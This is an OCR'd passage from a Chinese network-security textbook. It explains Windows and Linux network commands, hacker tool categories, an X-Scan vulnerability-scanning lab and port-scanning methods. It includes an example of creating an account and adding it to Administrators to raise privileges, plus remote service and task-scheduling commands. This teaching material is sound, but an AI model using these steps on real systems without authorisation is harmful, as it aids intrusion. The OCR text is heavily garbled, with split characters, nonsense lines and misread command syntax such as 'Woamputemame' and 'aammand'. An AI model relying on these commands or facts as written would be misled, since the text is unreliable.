-a IP 立 的 连接 (ESTABLISHED) ,也 包括 监听 连接 请 求 (LISTENING) 的 那些 连接 ,使 用 该 命令 


可 以 有 效 地 发 现 和 预防 木马 ,可 以 知道 机 器 所 开 的 服务 等 信息 


显示 包含 于 创建 每 个 连接 或 监听 端口 的 可 执行 组 件 。 在 某 些 情况 下 已 知 可 执行 组 件 拥有 多 
个 独立 组 件 ,并 且 在 这 些 情况 下 包含 于 创建 连接 或 监听 端口 的 组 件 序列 被 显示 。 此 时 ,可 执 
行 组 件 名 在 底部 的 [] 中 ,项 部 是 其 调用 的 组 件 ,等 等 ,直到 TCP/IP 部 分 。 注意 此 选项 可 能 需 
要 很 长 时 间 ,如 果 没 有 足够 权限 可 能 失败 
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续 表 
选 项 说 H 
显示 以 太 网 统计 信息 ,此 选项 可 与 -s 选项 组 合 使 用 , 它 列 出 的 项 目 包括 传送 的 数据 包 的 总 字 
贡 数 ,错误 数 、 删 除数 .数据 包 的 数量 和 广播 的 数量 及 这 些 统计 数据 发 送 /接收 的 数据 包 数 量 
-n 以 数字 形式 显示 地 址 和 端口 号 
-0 显示 与 每 个 连接 相关 的 所 属 进程 ID 


显示 proto 指定 协议 的 连接 ,proto 可 以 是 TCP,UDP,TCPv6 或 UDPv6。 如 果 与 -s 选项 一 起 
-p proto | 使 用 可 以 显示 按 协议 统计 信息 ,proto 可 以 是 : IP. IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP 
或 UDPv6 


-r 3 Hi 24 REIR RE K e bos EOL ILC FP IH ES A fri B 


按照 各 个 协议 分 别 显示 其 统计 信息 ,默认 情况 显示 IP, IPv6, ICMP,ICMPv6, TCP, TCPv6, 
UDP 和 UDPv6 的 统计 信息 ;可 以 与 -p 选项 一 起 使 用 


与 -b 一 起 使 用 将 显示 包含 于 为 所 有 可 执行 组 件 创 建 连接 或 监听 端口 的 组 件 
interval | 重新 显示 选 定 统计 信息 ,每 次 显示 之 间 和 暂停 时 间 间 隔 ( 以 秒 计 ) 


6. tracert/traceroute 


用 法 : tracert IP 地 址 或 域名 。 

该 命令 用 来 显示 数据 包 到 达 目 的 主机 所 经 过 的 每 一 个 路 由 或 网 关 的 TP 地 址 ,并 显示 到 
达 每 个 路 由 或 网 关 所 用 的 时 间 。 该 命令 也 可 以 用 来 检测 网 络 故障 的 大 概 位置 , 也 有 助 于 了 
解 网 络 的 布局 和 结构 。Linux 的 命令 是 traceroute。 

7. net 


net 是 一 个 功能 强大 的 网 络 命令 (只 能 在 Windows 中 使 用 ), 表 5-6 列 出 了 常用 的 子 
命令 。 
表 5-6 net 命令 的 常用 选项 及 其 说 明 


选 项 说 y 
net view 命令 格式 为 net view \\IP, 可 以 查看 远程 主机 所 有 的 共享 资源 
net use 命令 格式 为 net use x: \\IP\sharename, 把 远程 主机 的 某 个 共享 资源 映射 为 本 地 盘 符 


命令 格式 为 net start servername, 当 和 远程 主机 建立 连接 后 ,可 以 使 用 它 来 启动 远程 
主机 上 的 某 个 服务 (servername) 


net stop 命令 格式 为 net stop servername, 可 以 使 用 它 来 关闭 远程 主机 上 的 某 个 服务 


该 命令 的 功能 包括 新 建 账 户 、 删 除 账户 、 查 看 特定 账户 、 激 活 账 户 、 账 户 禁 用 等 ,输入 

不 带 参数 的 net user, 可 以 查看 所 有 用 户 ,包括 已 经 禁用 的 。net user 的 用 法 如 下 : 

(1) net user ztg 123456/add, 新 建 一 个 用 户 名 为 ztg, 密 码 为 123456 的 账户 ,默认 为 
user 组 成 员 

(2) net user ztg/del, 删 除 ztg 的 用 户 

(3) net user ztg/active:no, 禁 用 ztg 用 户 

(4) net user ztg/active: yes, 激 活 ztg 用 户 

(5) net user ztg, 查 看 ztg 用 户 的 情况 


net start 


net user 
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选 项 说 明 


该 命令 可 以 查看 所 有 与 用 户 组 有 关 的 信息 以 及 进行 相关 的 操作 ,输入 不 带 参 数 的 net 
localgroup, 可 以 查看 当前 所 有 的 用 户 组 

命令 格式 : net localgroup groupname username/add 

命令 : net localgroup Administrators ztg/add, 将 ztg 用 户 加 到 Administrators 组 里 ,由 
此 可 见 , 可 以 使 用 该 命令 来 提升 普通 账号 的 权限 ,不 过 细心 的 管理 员 可 以 使 用 net 
user ztg 来 查看 ztg 用 户 的 状态 


net localgroup 


net time 命令 格式 为 net time \\IP, 可 以 查看 远程 主机 的 当前 时 间 
net share 显示 共享 资源 
8. at 


at 命令 的 作用 是 在 特定 日 期 或 时 间 执 行 某 个 命令 或 程序 , 若 知 道 了 远程 主机 的 当前 时 
间 ,就 可 以 利用 at 命令 在 以 后 的 某 个 时 间 执 行 某 个 命令 或 程序 。 表 5-7 列 出 了 at 命令 的 常 
用 选项 及 其 说 明 。 用 法 如 下 : 


at [\\omputername] [[id] [/delete] | /delete [/yes]] 
at [Woamputemame] time [/interactive] [/every:date [, ...] | /next::date[, ...]] "aammand" 


表 5-7 at 命令 的 常用 选项 及 其 说 明 


选 项 说 明 

Weomputemame | 指定 远程 计算 机 ,如 果 省 略 该 参数 ,会 计划 在 本 地 计算 机 上 运行 命令 
id 指定 给 已 计划 命令 的 识别 号 
/ delete 删除 某 个 已 计划 的 命令 ,如 果 省 略 id, 计 算 机 上 所 有 已 计划 的 命令 都 会 被 删除 
/ yes 不 需要 进一步 确认 时 ,与 delete 命令 一 起 使 用 
time 指定 运行 命令 的 时 间 
/interactive 允许 作业 在 运行 时 ,与 当时 登录 的 用 户 进行 桌面 交互 
/every:date[ ,….] | 每 月 或 每 星期 在 指定 的 日 期 运行 命令 ,如 果 省 略 日 期 , 则 默认 为 在 每 月 的 当天 运行 
/next:date[....] | 指定 在 下 一 个 指定 日 期 运行 命令 
"command" 准备 运行 的 Windows 命令 或 批 处 理 程序 

9. route 


大 多 数 主机 所 在 的 网 段 一 般 只 连接 一 台 路 由 器 (网 关 ) ,因此 不 存在 选择 路 由 器 (网 关 ) 
的 问题 ,该 路 由 器 (网 关 ) 的 IP. 地 址 可 作为 该 网 段 上 所 有 计算 机 的 默认 网 关 。 但 是 , 当 网 络 
上 拥有 两 个 或 多 个 路 由 器 (网 关 ) 时 ,可 以 通过 一 个 指定 的 路 由 器 来 访问 一 些 远程 的 IP 地 
址 ,通过 另 一 个 指定 的 路 由 器 来 访问 另 一 些 远程 的 IP 地 址 。 这 时 ,需要 设置 相应 的 路 由 信 
息 ,这 些 信 息 储存 在 路 由 表 中 ,每 台 主 机 和 每 台 路 由 器 都 有 自己 的 路 由 表 。 

route 是 用 来 显示 ,手工 添加 和 修改 路 由 表 项 目的 命令 。 一 般 使 用 表 5-8 所 示 的 选项 。 
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表 5-8 route 命令 的 常用 选项 及 其 说 明 
选 项 说 明 


令 可 以 向 路 由 表 添 加 新 的 路 由 项 目 。 例 如 : route add 210. 43. 112. 68 
55. 255. 0, 202. 196. 29. 56 表示 经 过 本 地 网 络 上 的 一 个 路 由 器 
(202. 196. 29. 56) 到 达 目 的 网 络 210. 43. 112. 68/24 


route change 使 用 本 命令 可 以 修改 数据 的 传输 路 由 


route add 


route delete 使 用 本 命令 可 以 从 路 由 表 中 删除 路 由 ,例如 : route delete 210. 43. 112. 68 
route print 使 用 本 命令 可 以 显示 路 由 表 中 的 当前 项 目 


10. nslookup/host 


nslookup 命令 可 以 查看 远程 主机 的 TP 地 址 .主机 名 称 和 DNS 的 IP 地 址 。 例 如 在 命令 
行 窗 口中 运行 nslookup www. baidu. com ,将 得 到 图 5-2 所 示 的 信息 ,Addresses 后 面 所 列 


的 是 www. baidu. com 所 使 用 的 Web 服务 器 群 的 IP 地 址 。Linux 下 也 可 以 使 用 host 命令 
完成 相同 功能 。 


and Settings Mdninistrator> 


图 5-2 ”运行 nslookup www. baidu. com 


11. ftp 


用 法 : ftp IP 地 址 或 域名 。 


网 络 上 开放 ftp 服务 的 主机 很 多 ,其 中 有 很 大 一 部 分 允许 匿名 访问 。 表 5-9 列 出 了 ftp 
子 命令 的 功能 及 其 说 明 。 


表 5-9 ftp 命令 的 常用 子 命令 及 其 说 明 


命令 说 明 命令 说 明 
dir 用 于 查看 ftp 服务 器 的 文件 put 上 传 文件 到 远程 ftp 服务 器 (需要 写 权 限 ) 
除 远 程 S Lap (CES 
cd MEAE EIE dcs: 删除 远程 ftp 服务 器 上 的 文件 (需要 写 
BUR» 
get 下 载 文件 到 本 地 机 器 bye.quit | 退出 当前 连接 
12. telnet 


用 法 : telnet IP 地 址 或 域名 。 
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如 果 远 程 主机 启动 了 telnet 服务 ,那么 可 以 使 用 telnet 命令 登录 远程 主机 (需要 用 户 名 
和 密码 ) ,成 功 建立 telnet 连接 后 ,就 可 以 控制 远程 主机 了 。 


5.2.4 黑客 攻击 常用 工具 及 常见 攻击 形式 


黑客 工具 可 以 分 为 六 大 类 : 信息 搜集 类 漏洞 扫描 类 远程 控制 类 、 信 息 炸 弹 类 、 密 码 破 


解 类 、 伪 装 类 和 Net Cat. 
1. 信息 搜集 类 


信息 搜集 软件 的 种 类 比较 多 ,包括 端口 扫描 ,漏洞 扫描 、 弱 口令 扫描 等 扫描 类 软件 。 还 
有 监听 网 络 流 、 截 获 数据 包 等 间谍 类 软件 ,这 些 软 件 都 是 亦 正 亦 邪 的 软件 ,无 论 正派 黑客 、 收 
派 黑 客 、 系 统管 理 员 还 是 一 般 的 计算 机 用 户 ,都 可 以 使 用 这 些 软 件 实现 各 自 不 同 的 目的 。 

监听 软件 Analyzer 3. 0a12 如 图 5-3 所 示 , 其 下 载 地 址 为 http://netgroup. polito. it/ 
tools; 监 听 软 件 Wireshark 如 图 5-4 所 示 ,其 下 载 地 址 为 http://www. wireshark. org。 
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图 5-3 监听 软件 Analyzer 3. 0212 


图 5-5 所 示 。 下 载 地 址 为 http://nmap. org/download. html, 


(2) 远程 安全 扫描 器 Nessus。 下 载 地 址 为 http://www. nessus. org/download/ 。 


(3) 扫描 器 SuperScan, 


Superscan 是 一 个 功能 强大 的 扫描 器 ,扫描 速度 非常 快 。 下 载 


地 址 为 http://www. foundstone. com/us/resources/termsofuse. asp? file= superscan4. zip。 


(4) 扫描 器 流光 。 这 是 一 
(5) 扫描 器 X-Scanner。 


(m 


款 国产 软件 ,是 许多 黑客 手中 必 备 工具 之 一 。 
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图 5-4 监听 软件 Wireshark 


Sem Tools Profile Help 


Taret [n.n 182€ 


Command: [mmap -sP 218.198. 18.0/24 


[tests )L services. Nmap Output [Ports / Hosts] Topology] Host Details] Scens| 
[map -3P 218.198. 18. 0/24 


B 


tost 
218.198.18.4 
218.198 19.3 | Starting Nmap 5.21 ( hetp://mmap-org ) at 2010-06-05 16:49 中 国标 准时 间 
map scan report for 218.198.18.3 
218. 12.7. Host is up (0.00s latency). 
218. 18.4 MAC Address: 00:11:0: EO:CE (Micro-Star International] 
218.198.19.13 | Nmap scan report for 218.198.18.4 
Host ís up (0.0313 latency). 
MAC Address: 00:15:F2:51:DA:A0 (Asustek Computer) 
218.198.19.53 | map scan report for 218.198.18.7 
218.198.10.23 | Host ia up. 
218.198 19.24 | hmap scan report for 218.198.18.13 
Host is up (0.00s latency). 
MAC Address: 00:23:CD:5B:B9:63 (Tp-link Technologies CO.) 
Minap scan report for 218.198.18.23 
Host is up (0.0169 latency). 
MAC Address: 00:10:DC:39:A5:07 (Micro-star International CO.) 
asp scan report for 218.198.18.24 
Host ia up (0.009 latency). 
MAC Address: 00:13: 9F:29 (Asustek Computer) 
Han scan report for 218.198.18.41 
Host is up (0.075 latency). 
MAC Address; 00:24:8C:01:D3:D0 (Asustek Computer) 
Heap scan report for 218.198.18.51 
Host ia up (0.009 latency). 
MAC Address: 00:CA:20:00:00:22 (Unknown) 
Minap scan report for 218.198.18.53 
Host ia up (0.00s latency). 
MAC Address; 50:78:4i 47:31 (Unknown) 
asp scan report for 218.198.18.62 
Host ia up (0.0315 latency). 
MAC Address: 00:19:5B:12:46:C1 (D-Link) 
Nmap done: 256 IP addresses (10 hosts ub) scanned in 48.22 seconds 


218. 198. 18.51 


218. 198. 18.82 


Filter Hosts 


图 5-5 扫描 之 王 Nmap 


(6) Advanced Port Scanner 端口 扫描 器 。 下 载 地 址 为 http://www. radmin. com/ 


products/ utilities/portscanner. php, 
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3. 远程 控制 类 
比如 木马 程序 。 
4. 信息 炸弹 类 
比如 邮件 炸弹 .DOS 或 DDoS 攻击 。 
5. 密码 破解 类 


保障 网 络 安全 最 主要 的 方法 是 加 密 机 制 , 黑 客 可 以 获得 一 份 密码 文件 ,但 是 如 果 没 有 加 
密 算法 或 者 不 知道 密码 ,那么 必须 要 使 用 密码 破解 类 软件 ,这 类 软件 可 以 用 密码 字典 或 者 穷 
举 法 (暴力 破解 ) 来 解密 。 


6. 伪装 类 


网 络 上 进行 的 各 种 操作 如 果 没 有 经 过 很 好 的 伪装 都 会 被 ISP、 服 务 器 记录 下 来 ,然后 被 
反 跟 踪 技 术 追 查 到 自己 的 大 概 物理 位 置 ,为 了 不 被 发 现 , 可 以 使 用 这 类 软件 。 


7. Net Cat 


Net Cat 是 一 个 用 途 广泛 的 TCP 和 UDP 连接 工具 ,对 系统 管理 员 以 及 网 络 调试 人 员 
而 言 ,Net Cat 是 一 个 非常 有 用 的 工具 。 不 过 ,Net Cat 也 是 一 个 攻击 网 络 的 强大 工具 。 


5.3 实例: 端口 与 漏洞 扫描 及 网 络 监听 


漏洞 扫描 是 对 计算 机 系统 或 其 他 网 络 设备 进行 与 安全 相关 的 检测 , 找 出 安全 隐患 和 可 
被 黑客 利用 的 漏洞 。 系 统管 理 员 利用 漏洞 扫描 软件 检测 出 系统 漏洞 以 便 有 效 地 防范 黑客 入 
侵 , 然 而 黑客 可 以 利用 漏洞 扫描 软件 检测 系统 漏洞 以 利于 入 侵 系统 。 


匿 注意 ”一 个 端口 就 是 一 扇 进入 计算 机 系统 的 门 。 


1. 漏洞 扫描 与 网 络 监听 
漏洞 扫描 与 网 络 监听 的 实验 环境 如 图 5-6 所 示 。 


192.168.10.1 192.168.10.5 
Windows 2003 Windows XP 
用 Analyzer lir 入 侵 者 用 X-Scan-v3.3-en f dfi 
图 5-6 实验 环境 


人 侵 者 (192. 168. 10.5): 运行 X-Scan 对 192. 168. 10. 1 进行 漏洞 扫描 。 
被 人 侵 者 (192. 168. 10.1): 用 Analyzer 分 析 进 来 的 数据 包 ,判断 是 否 遭 到 扫描 攻击 。 


veo, 第 5 章 ”计算 机 网 络 安全 技术 

第 1 步 : 入 侵 者 ,启动 X-Scan, 设 置 参 数 。 

安装 好 X-Scan 后 ,有 两 个 运行 程序 . xscann. exe 和 xscan_gui. exe。xscann. exe 是 扫 
描 器 的 控制 台 版 本 ,xscan_gui. exe 是 扫描 器 的 窗口 版 本 。 

在 此 运行 窗口 版 本 (xscan_gui. exe) ,如 图 5-7 所 示 。 单 击 工 具 栏 最 左边 的 [设置 扫描 参 
数 ] 按 钮 ,进行 相关 参数 的 设置 ,比如 扫描 范围 的 设 定 。X-Scanner 可 以 支持 对 多 个 IP 地 址 
的 扫描 ,也 就 是 说 使 用 者 可 以 利用 X-Scanner 成 批 扫描 多 个 TP 地 址 ,例如 在 TP 地 址 范围 内 
输入 192. 168. 0. 1 一 192. 168. 0. 255。 如 果 只 输入 一 个 IP 地 址 ,扫描 程序 将 针对 单独 的 
IP 地 址 进行 扫描 ,在 此 输入 192. 168. 10. 1。 


-Scan v3.3 GUI 


图 5-7 启动 X-Scan 设置 参数 


第 2 步 : 人 侵 者 ,进行 漏洞 扫描 。 

如 图 5-7 所 示 , 单 击 工 具 栏 左边 第 二 个 按钮 , 即 三 角形 按钮 ,进行 漏洞 扫描 。 

X-Scanner 集成 了 多 种 扫描 功能 于 一 身 , 它 可 以 采用 多 线程 方式 对 指定 IP 地 址 段 (或 
独立 IP 地 址 ) 进 行 安 全 漏洞 扫描 ,扫描 内 容 包 括 : 标准 端口 状态 及 端口 banner 信息 、 
CGI 漏洞 .RPC 漏洞 .SQL-Server 默认 账户 .FTP 弱 口 令 .NT 主机 共享 信息 、 用 户 信息 、 组 
信息 .NT 主机 弱 口 令 用 户 等 。 因 为 结果 比较 多 ,通过 控制 台 很 难 阅读 ,这 个 时 候 X-Scanner 
会 在 log 下 生成 多 个 html 的 中 文 说 明 ,阅读 这 些 文档 比较 方便 。 对 于 一 些 已 知 的 CGI 和 
RPC 漏洞 ,X-Scanner 给 出 了 相应 的 漏洞 描述 、 利 用 程序 及 解决 方案 。 

第 3 步 : 入 侵 者 ,扫描 结果 。 

如 图 5-8 所 示 ,【 普 通信 息 】 选 项 卡 显示 漏洞 扫描 过 程 中 的 信息 【漏洞 信息 】 选 项 卡 显示 
可 能 存在 的 漏洞 .比如 终端 服务 (端口 3389) 的 运行 ,就 为 黑客 提供 了 很 好 的 入 侵 通 道 。 

第 4 步 : 被 入侵 者 ,网 络 监听 。 

由 于 Analyzer 3. 0al2 在 Windows 2003 SP2 下 不 能 正常 运行 (在 Windows XP SP3 下 
可 以 正常 运行 ), 因此 选用 以 前 的 版 本 Analyzer 2. 2 进行 测试 ,读者 可 以 在 http:// 


analyzer. polito. it/download. htm 下 载 。 


提示 ”安装 Analyzer 之 前 , 先 安 装 WinPcap。 
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图 5-8 扫描 结果 


在 人 侵 者 运行 xscan. gui. exe 之 前 被 入 侵 者 运行 Analyzer。 在 和 人 侵 者 运行 xscan_gui. exe 
漏洞 扫描 结束 后 ,停止 Analyzer 的 抓 包 ,然后 分 析 Analyzer 抓获 的 数据 包 , 如 图 5- 
发 来 的 数据 包 进行 分 析 , 可 知 192. 168. 10. 5 对 192. 168. 10. 
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图 5-9 被 入侵 者 进行 网 络 监听 


9 所 示 ， 


1 进行 了 端 
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2. 扫描 器 的 组 成 


扫描 器 是 指 自动 监测 远程 或 本 地 主机 安全 性 弱点 的 程序 。 可 以 被 黑客 利用 的 扫描 器 有 
主机 存活 扫描 器 、 端 口 扫描 器 和 漏洞 扫描 器 。 扫 描 器 一 般 是 由 用 户 界面 ,扫描 引擎 ,扫描 方 
法 集 ,漏洞 数据 库 ,扫描 输出 报告 等 模块 组 成 。 整 个 扫描 过 程 由 用 户 界面 驱动 ,首先 由 用 户 
建立 新 会 话 , 选 定 扫描 策略 ,启动 扫描 引擎 ,然后 根据 用 户 制定 的 扫描 策略 ,扫描 引擎 开始 调 
度 扫描 方法 ,扫描 方法 根据 漏洞 数据 库 中 的 漏洞 信息 对 目标 系统 进行 扫描 ,最 后 由 报告 模块 
组 织 扫描 结果 并 输出 。 


区 注意 这 里 所 指 的 端口 是 指 TCP/IP 协议 中 的 端口 ,不 是 指 物理 意义 上 的 端口 。 


扫描 器 的 关键 是 要 有 一 个 组 织 良好 的 漏洞 数据 库 和 相应 的 扫描 方法 集 。 漏 洞 数据 库 是 
核心 ,一般 含 漏洞 编号 、 分 类 \ 受 影响 系统 漏洞 描述 ,修补 方法 等 内 容 。 扫 描 方法 集 则 要 根 
据 漏 洞 描述 内 容 , 提 取出 漏洞 的 主要 特征 ,进一步 转化 检测 出 这 个 漏洞 的 方法 ,这 是 一 个 技 
术 实 现 的 过 程 。 

漏洞 数据 库 的 建立 需要 一 大 批 安全 专家 和 技术 人 员 长 期 协同 的 工作 ,目前 国内 外 都 有 
相应 的 组 织 在 开展 这 方面 的 工作 ,最 具 影 响 力 的 就 是 CVE(Common Vulnerabilities and 
Exposures)。 由 于 新 的 漏洞 层出不穷 ,所 以 必须 时 刻 注意 漏洞 数据 库 和 检测 方法 集 的 更 新 。 


3. 漏洞 


漏洞 一 词 是 从 英文 单词 Vulnerability 翻译 而 来 的 .Vulnerability 应 译 为 “脆弱 性 ”, 但 
是 中 国 的 技术 人 员 已 经 更 愿意 接受 “漏洞 "(Hole) 这 一 通俗 化 的 名 词 。 

漏洞 是 指 系统 硬件 或 者 软件 存在 某 种 形式 的 安全 方面 的 脆弱 性 ,从 而 使 得 攻击 者 能 够 
在 未 授权 的 情况 下 访问 ,控制 系统 。 大 多 数 的 漏洞 体现 在 软件 系统 中 ,如 操作 系统 软件 、 网 
络 服务 软件 .各 类 应 用 软件 和 数据 库 系 统 及 其 应 用 系统 (如 Web) 等 。 

在 任何 程序 设计 中 都 无 法 绝对 地 避免 人 为 玻 忽 ,黑客 正 是 利用 种 种 漏洞 对 网 络 进行 攻 
击 , 黑 客 利用 漏洞 完成 各 种 攻击 是 最 终 的 结果 ,但 是 对 黑客 的 真正 定义 应 该 是 “寻找 漏洞 的 
人 ”, 他 们 不 是 以 攻击 网 络 为 乐趣 ,而 是 沉迷 于 阅读 他 人 程序 并 力图 找到 其 中 的 漏洞 。 从 某 
种 程度 上 来 说 ,黑客 都 是 "好 人 ”, 他 们 为 了 追求 完善 ,为 了 建立 安全 的 互联 网 。 不 过 现在 有 
很 多 的 伪 黑 客 经 常 利用 漏洞 做 些 违法 的 事情 。 

由 于 漏洞 对 系统 的 威胁 体现 在 恶意 攻击 行为 对 系统 的 威胁 ,只 要 利用 硬件 .软件 和 策略 
上 最 薄弱 的 环节 ,恶意 攻击 者 就 可 以 得 手 。 


4. 端口 扫描 


CD 端口 扫描 的 定义 

端口 扫描 是 通过 TCP/UDP 的 连接 ,判断 目标 主机 上 是 否 有 相关 的 服务 正在 运行 ,并 
且 进 行 监听 。 如 使 用 端口 扫描 器 Advanced Port Scanner 对 某 网 段 进行 扫描 ,结果 如 图 5-10 
所 示 o 

(2) 端口 

端口 在 计算 机 网 络 领域 中 是 个 非常 重要 的 概念 , 它 是 专门 为 计算 机 通信 而 设计 的 , 它 是 


ey 
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W Advanced Port Scanner vl- 了 


st. secure. affordable. 


SelectIP: | 218 . 198 . 18 . 1 ] 回 Useange | 218 . 198 . 18 . 255 [ Scan 
口 Use group of ranges 
Select pots range: [deiso |- [deist | [Z] Use defauk ports ist 
C Use ports ranges ist 
@ @ 218.198.18.7 (acer) Ports (scanned 67 of 6T, opened: 2 closed: 65) 
由 - 电 218. 19. 18.13 Ports (scanned 67 of 67, opened: 1 closed: 66) 
di Qi 218.198.13.23 ( PC-201006041036 ) Ports (scanned 67 of 6T, opened: 4 

218.198.18.41 Ports (scanned 67 of 6T, opened: 1 closed: 68 

i di] Open ports (1) 


& dfi Closed ports (86) 
@ 0 - 20 Closed 
Q 22 - 65535 Closed 


由 图 218.198.18.53 Forts (scanned 67 of 6T, opened: 4 closed: 63) 
由 -加 218.198.18.62 Ports (scanned 67 of 6T, opened: 3 closed: 64) 
国电 218.19.18.98 (ACER) Ports (scanned 67 of 6T, opened: 2 closed: 65) 
d (B 218.198.168.255 Ports (scanned 67 of 67, opened: O closed: 67) 


图 5-10 用 Advanced Port Scanner 对 某 网 段 进行 扫描 


由 计算 机 的 通信 协议 TCP/IP 协议 定义 的 。 其 中 规定 ,用 IP 地 址 和 端口 作为 套 接 字 , 它 代 
K TOP 连接 的 一 个 连接 端 ,一 般 称 为 Socket。 具 体 来 说 ,就 是 用 [IP: 端口 ] 来 定位 一 台 
机 中 的 某 个 进程 ,目的 是 为 了 让 两 台 计 算 机 能 够 找到 对 方 的 进程 。 可 见 ,端口 与 进程 是 一 一 
对 应 的 关系 ,如 果 某 个 进程 正在 等 待 连接 , 则 称 该 进程 正在 监听 ,那么 就 会 出 现 与 该 进程 相 
对 应 的 端口 。 由 此 可 见 ,入 侵 者 通过 扫描 端口 ,就 可 以 判断 目标 计算 机 有 哪些 服务 进程 正在 
等 待 连接 。 

(3) 端口 的 分 类 

客户 /服务 器 系统 通过 Internet 提供 了 众多 服务 ,DNS、Web、 电 子 邮 件 、.FTP、IM 和 
VoIP 只 是 其 中 一 部 分 ,这 些 服务 可 由 一 台 或 多 台 服 务 器 提供 。 无 论 是 哪 种 情况 ,服务 器 都 
必须 知道 客户 端 请 求 的 是 哪 项 服务 。 之 所 以 能 识别 客户 端 请 求 ,原因 在 于 这 些 请 求 都 发 送 
到 特定 的 目标 端口 。 对 客户 端 进行 了 预先 配置 ,使 其 对 每 项 服务 使 用 在 Internet 中 注册 的 
目标 端口 。 

负责 分 配 和 管理 端口 的 组 织 名 是 Internet 名 称 和 地 址 分 配 机 构 (ICANN) ,其 网 址 为 
http://www.icann. org/。 端 口 分 为 3 类 ,其 范围 为 0 一 65535 。 

知名 端口 (熟知 端口 公认 端口 ): 由 ICANN (nternet Corporation for Assigned 
Names and Numbers ,互联 网 指派 名 字 和 号 码 公 司 ) 负 责 分 配给 一 些 常用 的 应 用 层 服务 程序 
固定 使 用 的 端口 ,其 值 一 般 为 0 一 1023 。 

注册 端口 : 端口 1024 一 49151 可 作为 源 端口 或 目标 端口 ,组 织 可 使 用 这 些 端口 注册 特 
定 的 应 用 程序 ,如 IM 软件 。 

私有 端口 (动态 端口 ) : 端口 49152 一 65535 通常 作为 源 端 口 使 用 ,任何 应 用 程序 都 可 使 
用 它们 。 

大 多 数 系统 中 ,只 有 系统 处 理 程序 或 特权 用 户 运 行 的 程序 才 可 使 用 知名 端口 号 。 
1024 以 上 的 端口 也 称 为 一 般 端 口 ,用 来 随时 分 配给 请 求 通信 的 客户 进程 。 
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端口 扫描 是 指 对 目标 计算 机 的 所 有 或 者 需要 扫描 的 端口 发 送 特 定 的 数据 包 , 然 后 根据 
返回 的 信息 来 分 析 目 标 计 算 机 的 端口 是 否 打 开 、 是 否 可 用 。 

端口 扫描 行为 的 一 个 重要 特征 是 : 在 短 时 期 内 有 很 多 来 自 相 同 的 信 源 IP 地 址 的 数据 
包 发 往 同一 IP 地 址 的 不 同 端口 或 不 同 IP 地 址 的 不 同 端 口 。 

(5) 端口 扫描 器 

端口 扫描 器 是 一 种 自动 检测 远程 或 本 地 计算 机 安全 性 弱点 的 程序 ,使 用 它 可 以 不 留 痕 
迹地 发 现 远程 主机 提供 了 哪些 服务 及 版 本 ,进而 可 以 了 解 远程 计算 机 存在 的 安全 问题 。 


匿 注意 ”端口 扫描 器 不 是 直接 攻击 网 络 漏洞 的 程序 ,只 是 能 够 帮助 发 现 目标 主机 的 
某 些 安全 弱点 。 


端口 扫描 器 在 扫描 过 程 中 主要 具有 以 下 3 个 方面 的 能 力 : 

O 识别 目标 系统 上 正在 运行 的 TCP/UDP 协议 服务 。 

@ 识别 目标 系统 的 操作 系统 类 型 。 

G 识别 某 个 应 用 程序 或 某 个 特定 服务 的 版 本 号 。 

(6) 端口 扫描 的 类 型 

端口 扫描 的 类 型 有 多 种 ,比如 TCPconnect() 扫 描 、SYN 扫描 ,SYN/ACK 扫描 ,FIN 扫 
Jii, XMAS 扫描 ,NULL AHi, RESET 扫描 和 UDP 扫描 ,在 此 仅 介绍 TCPconnect O Hifi 
SYN 扫描 和 UDP 扫描 。 

(D TCPconnect() 扫 描 。 如 图 5-11 所 示 ,TCPconnect() 扫 描 使 用 TCP 连接 建立 的 “三 
次 握手 机制 ,建立 一 个 到 目标 主机 某 端 口 的 连接 。 


Syn Syn 
Syn/Ack | OR [ RsUAck | Syn/Ack |] OR [ RsUAGK ] 
€) Ack P €) Rst qj 
被 扫描 者 扫描 者 被 扫描 者 扫描 者 
TCPconnect() 扫 描 半 开 放 式 扫描 (TCP 的 SYN 扫描 ) 


图 5-11 TCPconnect() 扫 描 和 SYN 扫描 


a. 扫描 者 将 Syn 数据 包 发 往 目标 主机 的 某 端口 。 

b. 扫描 者 等 待 目 标 主机 响应 数据 包 , 如 果 收 到 Syn/ Ack 数据 包 , 说 明 目 标 端口 正在 监 
听 , 如 果 收 到 Rst/ Ack 数据 包 ,说 明 目 标 端口 不 处 于 监听 状态 ,连接 被 复位 。 如 果 端 口 是 处 
于 非 活 动 状态 ,服务 器 将 会 发 送 Rst 数据 包 .这 将 会 重 置 与 客户 端的 连接 。 

c. 当 扫 描 者 收 到 Syn/ Ack 数据 包 后 ,接着 发 送 Ack 数据 包 完 成 “三 次 握手 ”。 

d. 当 整 个 连接 过 程 完 成 后 ,结束 连接 。 

通过 这 种 扫描 容易 被 发 现 ,目标 主机 的 日 志文 件 会 记录 大 量 一 连接 就 断 开 的 信息 。 所 
以 出 现 了 SYN 扫描 。 

© SYN 扫描 。 如 图 5-11 所 示 ,TCP 的 SYN 扫描 不 同 于 TCPconnect() 扫 描 , 因 为 并 
不 建立 一 个 完整 的 TCP 连接 。 只 是 发 送 一 个 Syn 数据 包 去 建立 一 个 “三 次 握手 ”过 程 ,等 待 
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被 扫描 者 的 响应 ,如 果 收 到 Syn/ Ack 数据 包 , 则 清楚 地 表明 目标 端口 处 于 监听 状态 ,如 果 收 
到 的 是 Rst/Ack 数据 包 , 则 表明 目标 端口 处 于 非 监 听 端 口 。 然 后 发 送 Rst 数据 包 , 因 为 没 
有 建立 完整 的 连接 过 程 ,目标 主机 的 日 志文 件 中 不 会 有 这 种 尝试 扫描 的 记录 。 

© UDP 扫描 。UDP 扫描 基础 是 向 一 个 关闭 的 UDP 端口 发 送 数据 时 会 得 到 ICMP 
PORT Unreachable 消息 响应 ,如 果 向 目标 主机 发 送 UDP 数据 包 , 没 有 收 到 ICMP PORT 
Unreachable 消息 ,那么 可 以 假设 这 个 端口 是 开放 的 。 

UDP 扫描 不 太 可 靠 , 原 因 有 : 当 UDP 包 在 网 上 传输 时 ,路 由 器 可 能 会 将 它们 抛弃 ;多 
数 UDP 服务 在 被 探测 到 时 并 不 做 出 响应 ;防火 墙 通常 配置 为 抛弃 UDP 包 (DNS 除外 ， 
53 端口 ) 。 

CT) 端口 扫描 器 的 类 型 

目前 端口 扫描 器 主要 有 两 类 : 主机 扫描 器 和 网 络 扫描 器 。 

CD 主机 扫描 器 。 主 机 扫描 器 又 称 为 本 地 扫描 器 , 它 与 待 检 查 系统 运行 于 同一 节点 , 执 
行 对 自身 的 检查 。 它 的 主要 功能 为 分 析 各 种 系统 文件 内 容 , 查 找 可 能 存在 的 对 系统 安全 造 
